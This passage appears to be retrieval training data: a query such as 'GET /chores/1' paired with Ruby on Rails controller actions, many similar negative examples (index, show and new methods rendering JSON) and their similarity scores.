"def show\n @respuesta = Respuesta.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @respuesta }\n end\n end",
"def index\n render json: { \"Exercice Technique\" => \"Transporter Organizations Colisweb backend developer exercise\", \"Poste visé\" => \"Développeur Back Ruby, Alternance\", \"Candidat\" => \"Gressier Jimmy\"}\n end",
"def show\n @cuerpo = Cuerpo.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @cuerpo }\n end\n end",
"def index\n @repas = Repa.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @repas }\n end\n end",
"def index\n @socios = Socio.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @socios }\n end\n end",
"def index\n @equipos = Equipo.all\n render json: @equipos, status: :ok\n end",
"def index\n @concursos = Concurso.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @concursos }\n end\n end",
"def show\n @lore = Lore.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @lore }\n end\n end",
"def index\n champions = Champion.all\n render json: champions\n end",
"def index\n @guys = Guy.all\n respond_to do |format|\n format.json { render json: @guys }\n end\n end",
"def show\n @guille = Guille.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @guille }\n end\n end",
"def index\n @clientes = Cliente.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @clientes }\n end\n end",
"def index\n @shoes = Shoe.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @shoes }\n end\n end",
"def show\n @veiculo = Veiculo.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @veiculo }\n end\n end",
"def show\n @historial = Historial.find(params[:id])\n @receta = Recete.histori(@historial.id)\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @historial }\n end\n end",
"def index\n @cars = Car.all\n render json: @cars\n end",
"def show\n @areco = Areco.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @areco }\n end\n end",
"def show\n @remito = Remito.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @remito }\n end\n end",
"def show\n @concurso = Concurso.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @concurso }\n end\n end",
"def index\n @ruas = Rua.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @ruas }\n end\n end",
"def index\n @recipes = Recipe.all\n render json: @recipes\n end",
"def index\n @lophs = Loph.all\n respond_to do |format|\n format.html\n format.json { render json: @lophs}\n end\n end",
"def index\n @cars = Car.all\n\n render json: @cars\n end",
"def show\n @leito = Leito.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @leito }\n end\n end",
"def index\n @propuestas = Propuesta.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => @propuestas }\n end\n end",
"def index\n @electors = Elector.all\n\n render json: @electors\n end",
"def show\n render json: @choice\n end",
"def show\n @produto = Produto.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @produto }\n end\n end",
"def index\n @prueba_jsons = PruebaJson.all\n end",
"def index\n @comprobantes = Comprobante.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @comprobantes }\n end\n end",
"def show\n @tecnico = Tecnico.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @tecnico }\n end\n end",
"def show\n @tecnico = Tecnico.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @tecnico }\n end\n end",
"def index\n @ordenes = Orden.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @ordenes }\n end\n end",
"def show\n render json: @responsavel\n end",
"def show\n @clue = Clue.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @clue }\n end\n end",
"def show\n @clue = Clue.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @clue }\n end\n end",
"def index\n @uchronias = Uchronia.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @uchronias }\n end\n end",
"def show\n @chaine = Chaine.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @chaine }\n end\n end",
"def index\n @ordens = Orden.all\n render json: @ordens\n end",
"def show\n @tecnico = Tecnico.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @tecnico }\n end\n end",
"def show\n @what = What.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @what }\n end\n end",
"def index\n @cadavres = Cadavre.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => @cadavres }\n end\n end",
"def index\n @mixproductos = Mixproducto.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @mixproductos }\n end\n end",
"def index\n recipes = Recipe.all\n render status: :ok, json: recipes\n end",
"def index\n @contas = Conta.all\n respond_to do |format|\n format.json { render json: @contas.to_json, status: :ok }\n end\n end",
"def show\n @razmer_go = RazmerGo.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @razmer_go }\n end\n end",
"def index\n @recipes = Recipe.all\n respond_to do |format|\n format.html {}\n format.json { render json: @recipes }\n end\n end",
"def index\n @whoarewes = Whoarewe.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @whoarewes }\n end\n end",
"def show\n @colegiatura = Colegiatura.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @colegiatura }\n end\n end",
"def index\n if params[:categoria_producto]\n render json: Producto.find(params[:producto_id]).categorias\n else\n\t\t @categorias = Categoria.all\n render json: @categorias\n end\n\tend",
"def show\n @chamado = Chamado.find(params[:id])\n\n #Traduz o tipo do chamado e seu status para string\n tipo = Chamado::CHAMADO_OPTIONS.invert[@chamado.tipochamado]\n status = Chamado::STATUS_OPTIONS.invert[@chamado.status]\n\n #Serializa o chamado\n chamado = @chamado.as_json(:except => [:tipochamado, :status])\n dtipo = { :tipochamado => tipo, :status => status }.as_json\n chamado = dtipo.merge(chamado)\n\n #Encontra o historico do chamado\n @audits = Audit.find_all_by_idchamado(params[:id])\n #Transforma o historico em json\n historico = @audits.as_json(:except => [:updated_at, :idchamado, :id])\n \n\n #Converte os valores armazenados no banco para os correspondentes nomes em\n #linguagem humana\n @audits.each do |h|\n if h.mudancas.has_key?(\"status\")\n h.mudancas[\"status\"].map!{ |j| Chamado::STATUS_OPTIONS.invert[j] }\n elsif h.mudancas.has_key?(\"tipochamado\")\n h.mudancas[\"tipochamado\"].map!{ |j| Chamado::CHAMADO_OPTIONS.invert[j] }\n end\n\n end\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: { :chamado => chamado, :alteracoes => historico}}\n end\n end",
"def index\n @premios = Premio.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => @premios }\n end\n end",
"def get\n @cine = Cine.find(params[:cine_id], :select => [\"nombre\",\"id\",\"direccion\",\"localidad\"])\n render :json => [ @cine, :peliculas => @cine.peliculas.select('titulo,horas,pelicula_id') ]\n end",
"def show\n render json: @car\n end",
"def show\n render json: @elector\n end",
"def index\n @lugars = Lugar.all\n\n render json: @lugars\n end",
"def index\n seleccionarMenu(:rondas)\n @rondas = Ronda.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @rondas }\n end\n end",
"def show\n @choretype = Choretype.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @choretype }\n end\n end",
"def index\n @pots = Pot.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @pots }\n end\n end",
"def index\n @himalayas ||= Himalaya.limit(10).order('id desc')\n @descuentos ||= Descuento.limit(10).order('id desc')\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @himalayas }\n end\n end",
"def show\n @competicao = Competicao.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @competicao }\n end\n end",
"def index\n respond_to do |format|\n format.html { @chefs = Chef.all }\n format.json { @chefs = Chef.order(:name) }\n end\n end",
"def show\n render json: @archdiocese\n end",
"def show\n @peso = Peso.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @peso }\n end\n end",
"def show\n @comentario = Comentario.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @comentario }\n end\n end",
"def show\n @comentario = Comentario.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @comentario }\n end\n end",
"def show\n @uchronia = Uchronia.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @uchronia }\n end\n end",
"def index\n @distros = getmydata(\"Distro\")\n pagination\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @distros }\n end\n end",
"def index\n @powiadomienia = Powiadomienie.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @powiadomienia }\n end\n end",
"def index\n @disponibles = Disponible.take(50)\n\n render json: @disponibles, include: '**'\n end",
"def index\n @territorios = Territorio.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @territorios }\n end\n end",
"def show\n @propuesta = Propuesta.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @propuesta }\n end\n end",
"def index\n @barrios = Barrio.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => @barrios }\n end\n end",
"def index\n @cocktails = Cocktail.where(\"oficial = ?\", false)\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => @cocktails }\n end\n end",
"def index\n @shop = Shop.find(1)\n render :json => @shop\n return\n end",
"def show\n @craque = Craque.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json \n end\n end",
"def index\n @palestrantes = Palestrante.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @palestrantes }\n end\n end"
] | [
"0.7667952",
"0.7667952",
"0.73327523",
"0.663462",
"0.65576047",
"0.65516376",
"0.6535003",
"0.65298945",
"0.6520278",
"0.65133876",
"0.65133876",
"0.64939165",
"0.64831054",
"0.64747036",
"0.6400427",
"0.6392898",
"0.6392401",
"0.6387337",
"0.63791645",
"0.6378337",
"0.63209933",
"0.6319084",
"0.62917733",
"0.6286408",
"0.62526244",
"0.625228",
"0.6241387",
"0.6235952",
"0.6231422",
"0.62254953",
"0.6223811",
"0.620558",
"0.620209",
"0.62009907",
"0.61955833",
"0.61915714",
"0.6187459",
"0.61859715",
"0.6180421",
"0.61714166",
"0.61704355",
"0.61616564",
"0.6160399",
"0.616034",
"0.6156344",
"0.6153507",
"0.614943",
"0.6147456",
"0.61432475",
"0.61414653",
"0.6132868",
"0.61240095",
"0.6123355",
"0.61201984",
"0.61147785",
"0.61147785",
"0.6113261",
"0.6111906",
"0.6109887",
"0.6109887",
"0.61097276",
"0.61091036",
"0.6101411",
"0.6101205",
"0.60999864",
"0.6099212",
"0.60938364",
"0.609217",
"0.6087365",
"0.60867286",
"0.6084216",
"0.6079946",
"0.60753435",
"0.60740316",
"0.6072662",
"0.60719216",
"0.6071248",
"0.6058125",
"0.6057359",
"0.6057359",
"0.6054083",
"0.60530746",
"0.60520685",
"0.6051546",
"0.6050923",
"0.60500747",
"0.6047872",
"0.60449153",
"0.6043469",
"0.6043469",
"0.6037918",
"0.60363775",
"0.6029539",
"0.60273635",
"0.60262334",
"0.60257095",
"0.60236096",
"0.6020003",
"0.6018659",
"0.6011786",
"0.60113"
] | 0.0 | -1 |
GET /chores/1 GET /chores/1.json | def show
respond_to do |format|
format.html # show.html.erb
format.json { render json: @chore }
end
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def index\n @chores = Chore.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => @chores }\n end\n end",
"def index\n @chores = Chore.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => @chores }\n end\n end",
"def index\n @simple_chores = SimpleChore.all\n respond_to do |format|\n format.html\n format.json { render :json => @simple_chores }\n end\n end",
"def show\n @colegio = Colegio.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @colegio }\n end\n end",
"def show\n @respuesta = Respuesta.find(params[:id])\n\n render json: @respuesta\n end",
"def show\n @trecho = Trecho.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @trecho }\n end\n end",
"def getOrden \n \t@orden = Orden.where(:rest => params[:id_res])\n \trender json: @orden\n end",
"def show\n @relogio = Relogio.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @relogio }\n end\n end",
"def show\n @consumo = Consumo.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @consumo }\n end\n end",
"def show\n @historial = Historial.find(params[:id])\n @receta = Recete.histori(@historial.id)\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @historial }\n end\n end",
"def show\n @respuesta = Respuesta.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @respuesta }\n end\n end",
"def show\n @recoleccion = Recoleccion.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @recoleccion }\n end\n end",
"def show\n @chore = Chore.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @chore }\n end\n end",
"def show\n @chore = Chore.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @chore }\n end\n end",
"def show\n @chore = Chore.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @chore }\n end\n end",
"def index\n @colegios = Colegio.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @colegios }\n end\n end",
"def show\n @remito = Remito.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @remito }\n end\n end",
"def show\n @veiculo = Veiculo.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @veiculo }\n end\n end",
"def show\n @concurso = Concurso.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @concurso }\n end\n end",
"def show\n @cartucho = Cartucho.find(params[:id])\n @historials [email protected]\n @historial = Historial.new\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @cartucho }\n end\n end",
"def show\n @cuerpo = Cuerpo.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @cuerpo }\n end\n end",
"def show\n @recurso = Recurso.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @recurso }\n end\n end",
"def show\n @lore = Lore.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @lore }\n end\n end",
"def show\n @leito = Leito.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @leito }\n end\n end",
"def show\n @produto = Produto.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @produto }\n end\n end",
"def index\n @conseilles = Conseille.all\n respond_to do |format|\n format.html\n format.json { render json: @conseilles}\n end\n end",
"def show\n @what = What.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @what }\n end\n end",
"def show\n @uchronia = Uchronia.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @uchronia }\n end\n end",
"def show\n @areco = Areco.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @areco }\n end\n end",
"def index\n @ores = Ore.all\n \n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @ores }\n end\n end",
"def show\n @repa = Repa.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @repa }\n end\n end",
"def show\n @colegiatura = Colegiatura.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @colegiatura }\n end\n end",
"def show\n @repa = Repa.find(params[:id])\n \n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @repa }\n end\n end",
"def index\n @repas = Repa.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @repas }\n end\n end",
"def show\n @comic = Comic.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @comic }\n end\n end",
"def show\n @comic = Comic.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @comic }\n end\n end",
"def get_one\n question_data = Question.new.get_one( params[:id] )\n return render json: question_data\n end",
"def show\n @guille = Guille.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @guille }\n end\n end",
"def show\n @chaine = Chaine.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @chaine }\n end\n end",
"def index\n @choices = Choice.all\n\n render json: @choices\n end",
"def show\n @premio = Premio.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @premio }\n end\n end",
"def show\n @tecnico = Tecnico.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @tecnico }\n end\n end",
"def show\n @tecnico = Tecnico.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @tecnico }\n end\n end",
"def show\n @commtent1 = Commtent1.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @commtent1 }\n end\n end",
"def show\n @agronomiaquimica = Agronomiaquimica.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @agronomiaquimica }\n end\n end",
"def show\n @tecnico = Tecnico.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @tecnico }\n end\n end",
"def show\n @choretype = Choretype.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @choretype }\n end\n end",
"def show\n @peso = Peso.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @peso }\n end\n end",
"def show\n @clue = Clue.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @clue }\n end\n end",
"def show\n @clue = Clue.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @clue }\n end\n end",
"def show\n @razmer_go = RazmerGo.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @razmer_go }\n end\n end",
"def show\n @competicao = Competicao.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @competicao }\n end\n end",
"def show\n @craque = Craque.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json \n end\n end",
"def show\n @reconocimiento = Reconocimiento.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @reconocimiento }\n end\n end",
"def show\n @servicio = Servicio.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @servicio }\n end\n end",
"def show\n @propuesta = Propuesta.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @propuesta }\n end\n end",
"def index\n @chargers = Charger.all\n render json: @chargers\n end",
"def show\n @comentario = Comentario.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @comentario }\n end\n end",
"def show\n @comentario = Comentario.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @comentario }\n end\n end",
"def show\n @repuesto = Repuesto.find(params[:id])\n respond_to do |format|\n format.html { render :show }\n format.json { render json: @repuesto.to_json }\n end\n end",
"def show\n @voc = Voc.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @voc }\n end\n end",
"def show\n @seguro = Seguro.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @seguro }\n end\n end",
"def show\n @coisa = Coisa.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @coisa }\n end\n end",
"def show\n @correo = Correo.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @correo }\n end\n end",
"def show\n @correo = Correo.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @correo }\n end\n end",
"def show\n @contato_produto = ContatoProduto.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @contato_produto }\n end\n end",
"def show\n render json: @choice\n end",
"def show\n @compra = Compra.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @compra }\n end\n end",
"def index\n @shop = Shop.find(1)\n render :json => @shop\n return\n end",
"def show\n @kolegij = Kolegij.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @kolegij }\n end\n end",
"def index\n @clues = Clue.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @clues }\n end\n end",
"def show\n @resource = Resource.find(params[:id])\n render json: @resource, status: 200\n end",
"def show\n @critic = Critic.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @critic }\n end\n end",
"def show\n @chamado = Chamado.find(params[:id])\n\n #Traduz o tipo do chamado e seu status para string\n tipo = Chamado::CHAMADO_OPTIONS.invert[@chamado.tipochamado]\n status = Chamado::STATUS_OPTIONS.invert[@chamado.status]\n\n #Serializa o chamado\n chamado = @chamado.as_json(:except => [:tipochamado, :status])\n dtipo = { :tipochamado => tipo, :status => status }.as_json\n chamado = dtipo.merge(chamado)\n\n #Encontra o historico do chamado\n @audits = Audit.find_all_by_idchamado(params[:id])\n #Transforma o historico em json\n historico = @audits.as_json(:except => [:updated_at, :idchamado, :id])\n \n\n #Converte os valores armazenados no banco para os correspondentes nomes em\n #linguagem humana\n @audits.each do |h|\n if h.mudancas.has_key?(\"status\")\n h.mudancas[\"status\"].map!{ |j| Chamado::STATUS_OPTIONS.invert[j] }\n elsif h.mudancas.has_key?(\"tipochamado\")\n h.mudancas[\"tipochamado\"].map!{ |j| Chamado::CHAMADO_OPTIONS.invert[j] }\n end\n\n end\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: { :chamado => chamado, :alteracoes => historico}}\n end\n end",
"def show\n @presenza = Presenza.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @presenza }\n end\n end",
"def index\n @concursos = Concurso.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @concursos }\n end\n end",
"def show\n @promo = Promo.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @promo }\n end\n end",
"def show\n @autore = Autore.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @autore }\n end\n end",
"def show\n @humanidades1 = Humanidades1.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @humanidades1 }\n end\n end",
"def show\n @cool = Cool.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @cool }\n end\n end",
"def get\n @cine = Cine.find(params[:cine_id], :select => [\"nombre\",\"id\",\"direccion\",\"localidad\"])\n render :json => [ @cine, :peliculas => @cine.peliculas.select('titulo,horas,pelicula_id') ]\n end",
"def index\n url = \"https://data.cityofchicago.org/resource/x2n5-8w5q.json\"\n options = { :body => {:status => text}, :basic_auth => @auth }\n @response = HTTParty.get(url, options)\n\n @crime = Hash.new\n\n #@crime['block'] = @response[0]['block']\n @crime = @response\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @gittos }\n end\n end",
"def show\n @articulo = Articulo.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @articulo }\n end\n end",
"def show\n @articulo = Articulo.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @articulo }\n end\n end",
"def show\n @articulo = Articulo.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @articulo }\n end\n end",
"def show\n @caixa = Caixa.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @caixa }\n end\n end",
"def show\n @tipo_convenio = TipoConvenio.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @tipo_convenio }\n end\n end",
"def show\n @pessoa = Pessoa.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @pessoa }\n end\n end",
"def index\n @chores = Chore.all\n end",
"def show\n @pessoa_receber = PessoaReceber.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @pessoa_receber }\n end\n end",
"def show\n @chuyen = Chuyen.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @chuyen }\n end\n end",
"def show\n @clonet = Clonet.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @clonet }\n end\n end",
"def show\n @receipe = Receipe.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @receipe }\n end\n end",
"def show\n @odontologia1 = Odontologia1.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @odontologia1 }\n end\n end",
"def show\n @contratacao = Contratacao.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @contratacao }\n end\n end",
"def show\n @cancha = Cancha.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @cancha }\n end\n end",
"def show\n @dependencia = Dependencia.find(params[:id])\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @dependencia }\n end\n end",
"def show\n @requerimiento ||= Requerimiento.where(:numero => params[:id]).first\n @areas = Area.where(\" nombre like '%DIT%' \")\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @requerimiento }\n end\n end",
"def show\n @confrence = Confrence.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @confrence }\n end\n end",
"def show\n @cheer = Cheer.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @cheer }\n end\n end"
] | [
"0.7217747",
"0.7217747",
"0.7068815",
"0.6629999",
"0.6605961",
"0.65608907",
"0.65493286",
"0.647383",
"0.6466289",
"0.6445522",
"0.64377236",
"0.64305204",
"0.6425135",
"0.64091754",
"0.64091754",
"0.63869417",
"0.63065416",
"0.63034844",
"0.6289654",
"0.6283831",
"0.62499946",
"0.62436897",
"0.62402165",
"0.62271184",
"0.62227213",
"0.6222185",
"0.6221314",
"0.62209433",
"0.61959267",
"0.61927885",
"0.6192025",
"0.61853415",
"0.6181778",
"0.61740947",
"0.6169483",
"0.6169483",
"0.616176",
"0.61560214",
"0.61526966",
"0.6149167",
"0.61451787",
"0.6141417",
"0.6141417",
"0.61391383",
"0.6128824",
"0.612737",
"0.6126835",
"0.61210537",
"0.612033",
"0.612033",
"0.6114388",
"0.61039877",
"0.61030036",
"0.6095412",
"0.60850716",
"0.60848767",
"0.6084355",
"0.6079604",
"0.6079604",
"0.60779124",
"0.6073472",
"0.6070594",
"0.60671717",
"0.60612595",
"0.6060403",
"0.6055233",
"0.6054408",
"0.6054251",
"0.605159",
"0.6050219",
"0.60487",
"0.60480946",
"0.6043195",
"0.60313743",
"0.60306185",
"0.6029219",
"0.6028076",
"0.6023691",
"0.6019533",
"0.60178685",
"0.60160893",
"0.6010541",
"0.60089374",
"0.60089374",
"0.60089374",
"0.6007867",
"0.60060954",
"0.6003259",
"0.6001987",
"0.59971374",
"0.59958446",
"0.5993744",
"0.5989616",
"0.5988252",
"0.5985565",
"0.5982484",
"0.598111",
"0.5980503",
"0.59745145",
"0.5974239"
] | 0.6263101 | 20 |
GET /chores/new GET /chores/new.json | def new
@chore = Chore.new
respond_to do |format|
format.html # new.html.erb
format.json { render json: @chore }
end
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def new\n @what = What.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @what }\n end\n end",
"def new\n @trecho = Trecho.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @trecho }\n end\n end",
"def new\n @clue = Clue.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @clue }\n end\n end",
"def new\n @clue = Clue.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @clue }\n end\n end",
"def new\n @recurso = Recurso.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @recurso }\n end\n end",
"def new\n @peso = Peso.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @peso }\n end\n end",
"def new\n @colegio = Colegio.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @colegio }\n end\n end",
"def new\n @lore = Lore.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @lore }\n end\n end",
"def new\n @produto = Produto.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @produto }\n end\n end",
"def new\n @veiculo = Veiculo.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @veiculo }\n end\n end",
"def new\n @pot = Pot.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @pot }\n end\n end",
"def new\n @premio = Premio.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @premio }\n end\n end",
"def new\n @cool = Cool.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @cool }\n end\n end",
"def new\n @chaine = Chaine.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @chaine }\n end\n end",
"def new\n @coisa = Coisa.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @coisa }\n end\n end",
"def new\n @po = Po.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @po }\n end\n end",
